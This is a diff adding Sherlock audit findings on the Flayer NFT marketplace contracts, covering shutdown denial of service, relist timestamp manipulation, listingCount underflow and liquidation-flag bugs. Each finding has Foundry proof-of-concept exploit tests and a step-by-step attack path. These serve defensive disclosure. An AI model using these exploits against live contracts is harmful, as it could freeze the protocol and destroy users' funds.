+ vm.expectRevert();
+ protectedListings.unlockPrice(address(erc721a), 6);
+ }
+```
+
+### Mitigation
+
+Consider subtracting 1 from index_ when returning in line [566](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L566). This would solve the logic issue, the CheckpointCreated event emission should also be altered so as not to publish false data.
\ No newline at end of file
diff --git a/001/186.md b/001/186.md
new file mode 100644
index 0000000..60e2cca
--- /dev/null
+++ b/001/186.md
@@ -0,0 +1,100 @@
+Warm Daisy Tiger
+
+Medium
+
+# DoS collection shutdown execution by listing tokens
+
+## Summary
+The function `CollectionShutdown#execute()` requires no listings currently exist. However, a malicious actor can cause `execute()` transaction to revert by front-run create a listing and cancel the listing in the same block.
+
+## Vulnerability Detail
+The function [`CollectionShutdown#execute()` requires no listings currently exist](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L240-L241).
+When the shutdown is executable, [the collection has not been removed](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L250-L251) (function `Locker#sunsetCollection` not yet executed) and a malicious actor can still create a listing to DoS the `execute()` function.
+The newly created listing can then be cancelled in the same block without paying platform taxes because taxes are fully refunded within the same block if the listing is cancelled.
+So far, the attacker does not profit, but suffer loss neither
+
+### PoC
+
+Add the test below to file `CollectionShutdown.t.sol`
+
+```solidity
+ function test_DOS_Execute() public withDistributedCollection {
+ // Make a vote with our test user that holds `1 ether`, which will pass quorum
+ collectionShutdown.vote(address(erc721b));
+
+ // Confirm that we can now execute
+ assertCanExecute(address(erc721b), true);
+
+ // Mint NFTs into our collection {Locker}
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+
+ // assume the attacker has NFT
+ address malicious = makeAddr("malicious");
+ erc721b.mint(malicious, 123);
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(malicious),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: 101
+ });
+
+
+ // attacker creates listing
+ vm.startPrank(malicious);
+ erc721b.setApprovalForAll(address(listings), true);
+
+ // attacker does not have collection token
+ assertEq(locker.collectionToken(address(erc721b)).balanceOf(malicious), 0);
+
+ // create listing
+ _createListing({
+ _listing: IListings.CreateListing({collection: address(erc721b), tokenIds: _tokenIdToArray(123), listing: listing})
+ });
+
+ // attacker receives CT
+ uint received = locker.collectionToken(address(erc721b)).balanceOf(malicious);
+ assertGt(received, 0);
+ vm.stopPrank();
+
+ vm.expectRevert(); // Execution blocked
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // attacker cancel listing
+ vm.startPrank(malicious);
+
+ // use the received amount of CT
+ locker.collectionToken(address(erc721b)).approve(address(listings), received);
+ listings.cancelListings(address(erc721b), _tokenIdToArray(123), false);
+
+
+ // collection token balance goes to zero at the end
+ assertEq(locker.collectionToken(address(erc721b)).balanceOf(malicious), 0);
+ }
+```
+
+Run the test and console shows:
+```bash
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[PASS] test_DOS_Execute() (gas: 1131312)
+```
+
+## Impact
+Shutdown execution is blocked
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L240-L241
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L250-L251
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L149C27-L149C48
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L434C42-L434C60
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L925-L934
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Prevent creating listings when collection shutdown is executable
diff --git a/001/189.md b/001/189.md
new file mode 100644
index 0000000..05c4c90
--- /dev/null
+++ b/001/189.md
@@ -0,0 +1,64 @@
+Warm Daisy Tiger
+
+Medium
+
+# DoS collection shutdown by swapping collection tokens
+
+## Summary
+The function `CollectionShutdown#execute()` will withdraw NFT tokens from `Locker` contract in order to list them on Sudoswap.
+However, a malicious factor can replace the NFT tokens with other NFT tokens by using `Locker#swap()` function. This will cause `execute()` function to revert because can not withdraw tokens from `Locker` contract.
+
+## Vulnerability Detail
+The function `CollectionShutdown#execute()` [will withdraw NFT tokens from `Locker`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L253-L257).
+However, the `Locker` contract allows users to [swap tokens with the contract](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L241-L287) without any fees as long as within the same collection.
+By this mechanism, an malicious can replace the [tokens specified in calldata of the call to `execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231) to block the shutdown execution.
+Note that if the `owner` of `CollectionShutdown` is a multisig or a DAO, then the attack is more feasible because it is easy for the attacker to monitor for `execute()` transaction from owner
+
+### PoC
+
+Add the test below to file `CollectionShutdown.t.sol`:
+```solidity
+function test_DoS_Execute_2() public withDistributedCollection{
+ collectionShutdown.vote(address(erc721b));
+ assertCanExecute(address(erc721b), true);
+
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+
+ // assume that attacker has a NFT of the collection
+ address malicious = makeAddr("malicious");
+ erc721b.mint(malicious, 123);
+
+ // swap token
+ vm.startPrank(malicious);
+ erc721b.setApprovalForAll(address(locker), true);
+ locker.swap(address(erc721b), 123 , 0);
+ vm.stopPrank();
+
+ // this will revert
+ collectionShutdown.execute(address(erc721b), tokenIds);
+ }
+```
+
+Run the test and console shows:
+```bash
+Failing tests:
+Encountered 1 failing test in test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[FAIL. Reason: revert: ERC721: transfer from incorrect owner] test_DoS_Execute_2() (gas: 1070583)
+```
+
+
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L253-L257
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L241-L255
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L268-L287
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Disable the swap feature when the collection shutdown is executable
\ No newline at end of file
diff --git a/001/191.md b/001/191.md
new file mode 100644
index 0000000..fbd6efa
--- /dev/null
+++ b/001/191.md
@@ -0,0 +1,152 @@
+Tiny Plastic Hyena
+
+High
+
+# Purchases in Listings.sol do not always reset _isLiquidation, leading to lost listing tax refunds for the buyer
+
+### Summary
+
+Neither reserve() nor relist() properly reset _isLiquidation, making the new owner of a liquidation listing lose his or her listing tax refund next time it is listed.
+
+### Root Cause
+
+In the lines of code in reserve() that [handle the case of a liquidation](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L708-L712), there is nothing to reset _isLiquidation back to false. relist() similarly does not have any way to reset a liquidation. In contrast, _fillListing() handles this [in this snippet of code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L501-L513) by deleting the mapping.
+
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ ...
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+@> } @audit // there is no subsequent else to toggle liquidation off if it is in fact a liquidation
+```
+
+```solidity
+ function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+ ...
+ // Check if there is collateral on the listing, as this we bypass fees and refunds
+ if (!_isLiquidation[_collection][_tokenId]) {
+ ...
+ }
+ } else {
+@> delete _isLiquidation[_collection][_tokenId]; // @audit here is where it is actually toggled to false
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Any user that purchases a liquidation listing via reserve() or relist() will lose their listing tax refund when they decide to sell it. This is because liquidation listings bypass the listing tax refund functionality of the contract, and the NFT will still count as a liquidation listing according to the protocol. The NFT will remain this way until someone buys it via fillListings(). Until that point, every person who lists it is guaranteed to lose the entirety of their listing tax refund even if it is immediately bought.
+
+### PoC
+
+Please copy and past the following into Listings.t.sol:
+```solidity
+ function test_IsLiquidationNotToggled() public {
+
+ address payable user = payable(makeAddr("user"));
+ uint tokenId = 5;
+
+ // Mint a mock erc to the bypasser
+ erc721a.mint(user, tokenId);
+
+ // The bypasser creates a protected listing and takes the maximum amount
+ vm.startPrank(user);
+
+ erc721a.approve(address(protectedListings), tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(5),
+ listing: IProtectedListings.ProtectedListing({
+ owner: user,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // wait one second, then liquidate
+ vm.warp(block.timestamp + 1);
+ protectedListings.liquidateProtectedListing(address(erc721a), 5);
+ vm.warp(block.timestamp + 1);
+
+ // user2 reserves and then unlocks the asset
+ address user2 = makeAddr("user2");
+ deal(address(locker.collectionToken(address(erc721a))), user2, 5 ether);
+
+ vm.startPrank(user2);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), type(uint).max);
+
+ listings.reserve(address(erc721a), 5, 0.5 ether);
+ vm.warp(block.timestamp + 1);
+ protectedListings.unlockProtectedListing(address(erc721a), 5, true);
+ vm.warp(block.timestamp + 1);
+
+ // even though it was bought and paid for reserve did not flip _isLiquidation for the NFT
+ // now if the user lists it he will not recieve a refund on fees even if it immediately sells
+
+ // check token balance before sale
+ uint256 balanceBeforeSale = locker.collectionToken(address(erc721a)).balanceOf(user2);
+ // assert escrow is empty
+ assertEq(listings.balances(user2, address(locker.collectionToken(address(erc721a)))), 0);
+
+ erc721a.approve(address(listings), 5);
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(5),
+ listing: IListings.Listing({
+ owner: payable(user2),
+ created: uint40(block.timestamp),
+ duration: 18 days,
+ floorMultiple: 1000
+ })
+ });
+ listings.createListings(_listings);
+
+ // a user immediately buys it
+ vm.startPrank(user);
+ deal(address(locker.collectionToken(address(erc721a))), user, 10 ether);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = 5;
+
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+
+ // but the listing tax is not refunded because it is still marked as a liquidation!
+ vm.startPrank(user2);
+ listings.withdraw(address(locker.collectionToken(address(erc721a))), listings.balances(user2, address(locker.collectionToken(address(erc721a)))));
+ uint256 balanceAfterSale = locker.collectionToken(address(erc721a)).balanceOf(user2);
+ assertEq(balanceAfterSale - balanceBeforeSale, 9074285714285714286);
+
+ // even though the listing immediately sold for 10 fTokens, the user loses the entirety of listing taxes
+
+ }
+```
+
+### Mitigation
+
+Consider setting _isLiquidation to false at the end of reserve() and relist()
\ No newline at end of file
diff --git a/001/192.md b/001/192.md
new file mode 100644
index 0000000..026ab89
--- /dev/null
+++ b/001/192.md
@@ -0,0 +1,140 @@
+Tiny Plastic Hyena
+
+High
+
+# Listings::relist() allows users to put listing start date into the future
+
+### Summary
+
+relist() is missing the logic that sets the "created" (start time) field in the listing struct. This allows the user to set any possible time, including far into the future, which keeps users from buying it.
+
+### Root Cause
+
+In relist() the listing struct is read directly from user supplied calldata with no checks to make sure the "created" field makes sense and no modifications made to said field.
+[Link to function.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625-L672)
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ ...
+ // Load our new Listing into memory
+@> Listing memory listing = _listing.listing;
+
+ ... // @audit between loading and storing the listing nothing checks or changes the "created" field
+
+ // Store our listing into our Listing mappings
+@> _listings[_collection][_tokenId] = listing;
+```
+
+When a new listing is created via createListings() or createLiquidationListing(), _mapListings() does the job of [setting the start time](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L245-L251) of the listing. No such logic exists in relist().
+
+```solidity
+ function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
+ // Loop through our tokens
+ for (uint i; i < _tokenIds; ++i) {
+ // Create our initial listing and update the timestamp of the listing creation to now
+ _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
+ owner: _createListing.listing.owner,
+@> created: uint40(block.timestamp), // @audit this is where the timestamp is set
+ duration: _createListing.listing.duration,
+ floorMultiple: _createListing.listing.floorMultiple
+ });
+```
+
+This goes beyond dodging fees - users cannot [buy future dated listings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L855-L859):
+```solidity
+ function getListingPrice(address _collection, uint _tokenId) public view returns (bool isAvailable_, uint price_) {
+ ...
+ // This is an edge case, but protects against potential future logic. If the
+ // listing starts in the future, then we can't sell the listing.
+ if (listing.created > block.timestamp) {
+ return (isAvailable_, totalPrice); // @audit - this returns false for isAvailable, making any purchases revert
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+DOS portion:
+1. If no floor price listings are available, the attacker buys one directly from Locker and lists it.
+2. The attacker relists a floor price listing for 1.01 fTokens far into the future, paying almost nothing in listing fees.
+3. The attacker repeats until all floor priced NFTs are locked forever. The protocol is essentially frozen.
+Profit portion:
+4. The value of fTokens plummets, users can't redeem them for NFTs so they sell them in the uniswap pool
+5. The attack scoops them up for cheap, uses them to cancel his or her listings and sells the NFTs on another marketplace
+
+### Impact
+
+This is a protocol ending DOS attack. Any NFT listed close to the floor price would be trivially inexpensive to lock out of existence forever. The attacker could set a price of 1.01 floor tokens and a short duration so as to pay almost no tax up front, but set the start time thousands of years in the future. Users are not permitted to buy listings with a future start date so the protocol would grind to a halt and the NFTs would be lost forever, and the fTokens would become worthless. Additionally, the attacker could cancel listings at any time, allowing for the attacker to buy the now worthless fTokens and use them to take the listings off of the protocol and turn a large profit.
+
+### PoC
+
+Please copy and paste the following into Listings.t.sol:
+```solidity
+function test_RelistToInfinity() public {
+ address user = makeAddr("user");
+ erc721a.mint(user, 5);
+
+ // a user creates listing
+ vm.startPrank(user);
+ erc721a.approve(address(listings), 5);
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(5),
+ listing: IListings.Listing({
+ owner: payable(user),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 110
+ })
+ });
+ listings.createListings(_listings);
+
+
+ // a relister purchases the asset but sets the date to the far future
+ address relister = makeAddr("relister");
+ deal(address(locker.collectionToken(address(erc721a))), relister, 1.5 ether);
+
+ vm.startPrank(relister);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = 5;
+ IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ });
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 5;
+
+ listings.relist(IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(relister),
+ // MAXIMUM TIME
+ created: uint40(type(uint40).max - 20 days),
+ duration: 7 days,
+ // MAXIMUM PRICE
+ floorMultiple: 1000
+ })
+ }), false);
+
+ // 10,000 years pass but the listing remains unchanged
+ vm.warp(block.timestamp + 365 days * 10_000);
+ (,uint256 price) = listings.getListingPrice(address(erc721a), 5);
+ assertEq(price, 10e18);
+ }
+```
+
+### Mitigation
+
+Set "created" to block.timestamp in relist()
\ No newline at end of file
diff --git a/001/201.md b/001/201.md
new file mode 100644
index 0000000..f6ba90a
--- /dev/null
+++ b/001/201.md
@@ -0,0 +1,45 @@
+Precise Lava Starfish
+
+Medium
+
+# Lack of update checkpoint in Lock::deposit/redeem
+
+## Summary
+Lock::deposit/redeem will change the `utilizationRate` in ProtectedListing. Borrowers in ProtectedListing may pay more or less borrowing rate fees.
+
+## Vulnerability Detail
+Users can borrow some ERC20 tokens via some ERC721 collection collateral. The borrowing rate is related with `utilizationRate`
+The `utilizationRate` is related with collectionToken's totalSupply.
+The problem is that when users depoist/redeem in Locker, the totalSupply will change. This will impact the actual the borrowing rate. But we don't update the checkpoint timely.
+In one inactive collection market, borrowers can make user of this vulnerability to decrease his borrowing fees.
+For example:
+1. Alice deposits some ERC721s into the locker to increase the totalSupply.
+2. Alice borrows some collection tokens via one low borrow interest.
+3. Alice redeems ERC721 tokens from the locker.
+
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ listingsOfType_ = listingCount[_collection];
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+## Impact
+Borrowers may pay more or less borrowing interest fees than expected.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Timely update checkpoint when we deposit/redeem in locker.
\ No newline at end of file
diff --git a/001/210.md b/001/210.md
new file mode 100644
index 0000000..8fd601a
--- /dev/null
+++ b/001/210.md
@@ -0,0 +1,80 @@
+Quaint Infrared Giraffe
+
+Medium
+
+# `Listing.created` can be manipulated upon a relist
+
+### Summary
+
+It is very important that `Listing.created` is always the `block.timestamp` of the time a listing was created, modified or relisted as the varaible is used to calculate many sensitive information in the protocol. However, there is no enforcement of this in `Listing::relist`, as when compared to `Listing::createListings` which enforces that the variable is updated in `Listing::_mapListings`
+
+### Root Cause
+`Listing.created` can be any value even a future date
+
+### Impact
+
+All calculations which relies on `listing.created` will all be wrong.
+
+### PoC
+
+```
+ function test_POC() public {
+ vm.warp(1726132652);
+ address _owner = makeAddr("owner");
+ uint _tokenId;
+ uint16 _floorMultiple = 200;
+ erc721a.mint(_owner, _tokenId);
+
+ vm.prank(_owner);
+ erc721a.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: _floorMultiple
+ });
+
+ // Create our listing
+ vm.prank(_owner);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ address _relister = makeAddr("_relister");
+
+ uint startBalance = 2 ether;
+ deal(address(token), _relister, startBalance);
+
+ vm.startPrank(_relister);
+ token.approve(address(listings), startBalance);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_relister),
+ created: uint40(block.timestamp) / 2,
+ duration: 5 days,
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ vm.stopPrank();
+
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+
+ assertEq(_listing.created, uint40(block.timestamp) / 2, 'Invalid created');
+ }
+```
+
+### Mitigation
+
+Enforce that `listing.created` in `Listing:relist` is any `block.timestamp` the function is called.
\ No newline at end of file
diff --git a/001/215.md b/001/215.md
new file mode 100644
index 0000000..8a06cf6
--- /dev/null
+++ b/001/215.md
@@ -0,0 +1,146 @@
+Obedient Flaxen Peacock
+
+High
+
+# Attacker can relist a floor item and cancel the listing to underflow `listingCount` and block collection shutdown execution
+
+### Summary
+
+Relisting a floor item does not increase the `listingCount` but canceling the listing decreases the `listingCount`. Since decrementing the `listingCount` is unchecked, it will underflow when `listingCount` is at 0. An attacker can use this behavior to block collection shutdown execution.
+
+### Root Cause
+
+When relisting a floor item, the `listingCount` is not incremented.
+
+ref: [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672)
+
+Relisting a floor item is expected behavior.
+
+ref: [test_CanRelistFloorItemAsLiquidListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/Listings.t.sol#L2086-L2188)
+
+Listing actions like [cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L462-L464), [fill()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L515), and [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L725) do an unchecked decrement on `listingCount`.
+
+```solidity
+unchecked { listingCount[_collection] -= 1; }
+```
+
+The combination of creating a listing without incrementing `listingCount` and the unchecked decrementing of `listingCount` can cause an underflow.
+
+### Internal pre-conditions
+
+1. Total supply of target collection token is below `10e18 * 10 ** denomination`. It is ready for shutdown.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Anyone [starts](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157) the shutdown of a collection.
+2. Attacker gets an NFT of the target collection.
+3. Attacker calls [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144-L166) to lock the NFT for 1e18 collection tokens.
+4. Attacker relists an NFT from the target collection. This can be the NFT they deposited (they will need to use a different address) or another NFT that's already in the Locker.
+5. Attacker [cancels](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L463) the listing to decrement the `listingCount`.
+6. Attacker repeats the process of relisting and canceling until `listingCount` has underflowed.
+7. CollectionShutdown can never [execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241) because it always [has listings](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L500-L502) due to the underflow.
+8. All shutdown voters permanently lose their NFTs and collection tokens. [Reclaiming their vote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L360) will always fail since `execute()` always reverts and can never [set `params.canExecute`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L273) back to false.
+
+Well-intentioned users can trigger the issue just by relisting a floor item.
+
+### Impact
+
+The shutdown voters permanently lose their collection tokens and NFTs. The attacker neither gains nor loses anything.
+
+### PoC
+
+Add the following test to `test/Listings.t.sol::ListingsTest`. Comment out the total supply check in [`CollectionShutdown:start()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L147) before running the test. This is for easier test setup and is not relevant to the issue.
+
+```diff
+- if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
++ // if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+```
+
+The test can be run with:
+
+```bash
+$ forge test --match-test test_ListingCountUnderflow
+```
+
+
+Test POC
+
+```solidity
+ function test_ListingCountUnderflow(address _lister, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
+ _assumeValidTokenId(_tokenId);
+ _assumeValidAddress(_lister);
+ _assumeValidAddress(_relister);
+ vm.assume(_lister != _relister);
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Provide a token into the core Locker to create a Floor item
+ erc721a.mint(_lister, _tokenId);
+
+ vm.startPrank(_lister);
+ erc721a.approve(address(locker), _tokenId);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ // Rather than creating a listing, we will deposit it as a floor token
+ locker.deposit(address(erc721a), tokenIds);
+ vm.stopPrank();
+
+ // Confirm that our listing user has received the underlying ERC20. From the deposit this will be
+ // a straight 1:1 swap.
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ assertEq(token.balanceOf(_lister), 1 ether);
+
+ uint256 listingCountBefore = listings.listingCount(address(erc721a));
+
+ vm.startPrank(_relister);
+
+ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
+ uint startBalance = 1 ether;
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+
+ // Relist our floor item into one of various collections
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: _relister,
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ vm.stopPrank();
+
+ token.approve(address(collectionShutdown), type(uint256).max);
+
+ // Start shutting down the collection
+ collectionShutdown.start(address(erc721a));
+ ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721a));
+
+ // Cancel the relisted listing
+ vm.prank(_relister);
+ listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
+
+ // The Listing Count has underflowed is now maxUint256
+ assertEq(listings.listingCount(address(erc721a)), type(uint256).max);
+
+ // Collection Shutdown can never execute because of the _hasListings() check
+ vm.expectRevert(ICollectionShutdown.ListingsExist.selector);
+ collectionShutdown.execute(address(erc721a), _tokenIdToArray(_tokenId));
+ }
+```
+
+
+### Mitigation
+
+Consider adding logic to [`relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) to increment `listingCount` when relisting a floor item.
\ No newline at end of file
diff --git a/001/226.md b/001/226.md
new file mode 100644
index 0000000..0d73aae
--- /dev/null
+++ b/001/226.md
@@ -0,0 +1,122 @@
+Shiny Mint Lion
+
+High
+
+# There is a logical error inside the ProtectedListings::adjustPosition() function, which could lead to manipulation of users’ interest.
+
+## Summary
+There is a logical error inside the ProtectedListings::adjustPosition() function, which could lead to manipulation of users’ interest.
+## Vulnerability Detail
+```javascript
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // Ensure we don't have a zero value amount
+ if (_amount == 0) revert NoPositionAdjustment();
+
+ // Load our protected listing
+ ProtectedListing memory protectedListing = _protectedListings[_collection][_tokenId];
+
+ // Make sure caller is owner
+ if (protectedListing.owner != msg.sender) revert CallerIsNotOwner(protectedListing.owner);
+
+ // Get the current debt of the position
+ int debt = getProtectedListingHealth(_collection, _tokenId);
+
+ // Calculate the absolute value of our amount
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ // The user should not be fully repaying the debt in this way. For this scenario,
+ // the owner would instead use the `unlockProtectedListing` function.
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+@>> _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+ // Otherwise, the user is increasing their debt to take more token
+ else {
+ // Ensure that the user is not claiming more than the remaining collateral
+ if (_amount > debt) revert InsufficientCollateral();
+
+ // Release the token to the caller
+ collectionToken.transfer(
+ msg.sender,
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+@>> _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+ }
+
